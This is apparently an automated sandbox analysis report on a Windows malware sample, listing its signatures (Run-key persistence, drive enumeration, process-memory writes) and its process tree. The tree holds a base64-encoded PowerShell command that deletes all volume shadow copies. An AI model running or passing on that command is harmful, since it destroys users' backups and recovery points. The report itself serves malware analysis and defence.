Analysis

  • max time kernel
    84s
  • max time network
    134s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    24/01/2022, 00:51

General

  • Target
    dffded6bd5b6a13e6625b48336ebb921dd2f980cf29bed0abfc1ed117dd0c080.exe
  • Size 166KB
  • Sample220124-a7q93ahaam
  • SHA256 dffded6bd5b6a13e6625b48336ebb921dd2f980cf29bed0abfc1ed117dd0c080
  • MD5 SHA1 SHA512
Score
6/10

Malware Config

Signatures

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\dffded6bd5b6a13e6625b48336ebb921dd2f980cf29bed0abfc1ed117dd0c080.exe
    "C:\Users\Admin\AppData\Local\Temp\dffded6bd5b6a13e6625b48336ebb921dd2f980cf29bed0abfc1ed117dd0c080.exe"
    1⤵
    • Adds Run key to start application
    • Enumerates connected drives
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3708
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:444
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:744
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
        PID:1380

      Network

            MITRE ATT&CK Enterprise v6

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            Downloads

            memory/444-123-0x000001C7BE3C0000-0x000001C7BE3E2000-memory.dmp

            memory/444-126-0x000001C7BE580000-0x000001C7BE5F6000-memory.dmp

            memory/444-133-0x000001C7A6100000-0x000001C7BE400000-memory.dmp

            memory/444-134-0x000001C7A6100000-0x000001C7BE400000-memory.dmp